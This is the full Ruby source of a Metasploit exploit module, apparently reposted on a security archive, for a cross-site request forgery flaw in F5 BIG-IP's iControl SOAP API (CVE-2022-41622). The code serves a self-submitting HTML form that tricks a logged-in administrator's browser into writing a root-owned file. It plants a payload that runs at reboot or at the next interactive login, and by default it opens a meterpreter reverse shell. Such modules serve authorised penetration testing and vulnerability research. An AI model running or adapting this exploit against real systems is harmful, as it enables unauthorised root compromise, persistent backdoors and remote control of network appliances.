F5 BIG-IP iControl Cross Site Request Forgery

This Metasploit module exploits a cross-site request forgery (CSRF) vulnerability in F5 Big-IP's iControl interface to write an arbitrary file to the filesystem. While any file can be written to any location as root, the exploitability is limited by SELinux; the vast majority of writable locations are unavailable. By default, we write to a script that executes at reboot, which means the payload will execute the next time the server boots. An alternate target - Login - will add a backdoor that executes next time a user logs in interactively. This overwrites a file, but we restore it when we get a session Note that because this is a CSRF vulnerability, it starts a web server, but an authenticated administrator must visit the site, which redirects them to the target.


SHA-256 | 0942abdee0725fc32a285ecb9a23fb1bfe3ecc058946e6d59dda0de6b91cbca4

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'F5 BIG-IP iControl CSRF File Write SOAP API',
'Description' => %q{
This module exploits a cross-site request forgery (CSRF) vulnerability
in F5 Big-IP's iControl interface to write an arbitrary file to the
filesystem.

While any file can be written to any location as root, the
exploitability is limited by SELinux; the vast majority of writable
locations are unavailable. By default, we write to a script that
executes at reboot, which means the payload will execute the next time
the server boots.

An alternate target - Login - will add a backdoor that executes next
time a user logs in interactively. This overwrites a file,
but we restore it when we get a session

Note that because this is a CSRF vulnerability, it starts a web
server, but an authenticated administrator must visit the site, which
redirects them to the target.
},
'Author' => [
'Ron Bowes' # Discovery, PoC, and module
],
'References' => [
['CVE', '2022-41622'],
['URL', 'https://github.com/rbowes-r7/refreshing-soap-exploit'],
['URL', 'https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/'],
['URL', 'https://support.f5.com/csp/article/K97843387'],
['URL', 'https://support.f5.com/csp/article/K94221585'],
['URL', 'https://support.f5.com/csp/article/K05403841'],
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2022-11-16', # Vendor advisory
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD],
'Type' => :unix_cmd,
'Privileged' => true,
'Targets' => [
[ 'Restart', {}, ],
[ 'Login', {}, ],
[ 'Custom', {}, ]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'Payload' => 'cmd/unix/python/meterpreter/reverse_tcp'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
IOC_IN_LOGS,
ARTIFACTS_ON_DISK
]
}
)
)

register_options(
[
OptString.new('TARGET_HOST', [true, 'The IP or domain name of the target F5 device']),
OptString.new('TARGET_URI', [true, 'The URI of the SOAP API', '/iControl/iControlPortal.cgi']),
OptBool.new('TARGET_SSL', [true, 'Use SSL for the upstream connection?', true]),
OptString.new('FILENAME', [false, 'The file on the target to overwrite (for "custom" target) - note that SELinux prevents overwriting a great deal of useful files']),
]
)
end

def on_request_uri(socket, _request)
if datastore['TARGET'] == 0 # restart
filename = '/shared/f5_update_action'
file_payload = <<~EOT
UpdateAction
https://localhost/success`#{payload.encoded}`
https://localhost/error
0
0
0
0
EOT

# Delete the logfile if we get a session
register_file_for_cleanup('/var/log/f5_update_checker.out')

print_status("Redirecting the admin to overwrite #{filename}; if successful, your session will come approximately 2 minutes after the target is rebooted")
elsif datastore['TARGET'] == 1 # login
filename = '/var/run/config/timeout.sh'
file_payload = "#{payload.encoded} & disown;"

# Delete the backdoored file if we get a session.. this will be fixed at
# next reboot
register_file_for_cleanup('/var/run/config/timeout.sh')

print_status("Redirecting the admin to overwrite #{filename}; if successful, your session will come the next time a user logs in interactively")
else # Custom

filename = datastore['FILENAME']
file_payload = payload.encoded

print_status("Redirecting the admin to overwrite #{filename} with the payload")
end

# Build the SOAP request that'll be sent to the target server
csrf_payload = %(
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:con="urn:iControl:System/ConfigSync">
<soapenv:Header/>
<soapenv:Body>
<con:upload_file soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<file_name xsi:type="xsd:string">#{filename}</file_name>
<file_context xsi:type="urn:System.ConfigSync.FileTransferContext" xmlns:urn="urn:iControl">
<!--type: Common.OctetSequence-->
<file_data xsi:type="urn:Common.OctetSequence">#{Rex::Text.encode_base64(file_payload)}</file_data>
<chain_type xsi:type="urn:Common.FileChainType">FILE_FIRST_AND_LAST</chain_type>
</file_context>
</con:upload_file>
</soapenv:Body>
</soapenv:Envelope>
)

# Build the target URL
target_url = "#{datastore['TARGET_SSL'] ? 'https' : 'http'}://#{datastore['TARGET_HOST']}#{datastore['TARGET_URI']}"

# Build the HTML payload that'll send the SOAP request via the user's browser
html_payload = %(
<html>
<body>
<form action="#{target_url}" method="POST" enctype="text/plain">
<textarea id="payload" name="<!--">-->#{Rex::Text.html_encode(csrf_payload)}</textarea>
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
)

# Send the HTML to the browser
send_response(socket, html_payload, { 'Content-Type' => 'text/html' })
end

def exploit
# Sanity check
if datastore['TARGET'] == 2 && (!datastore['FILENAME'] || datastore['FILENAME'].empty?)
fail_with(Failure::BadConfig, 'For custom targets, please provide the FILENAME')
end

print_good('Starting HTTP server; an administrator with an active HTTP Basic session will need to load the URL below')
super
end
end

Related Posts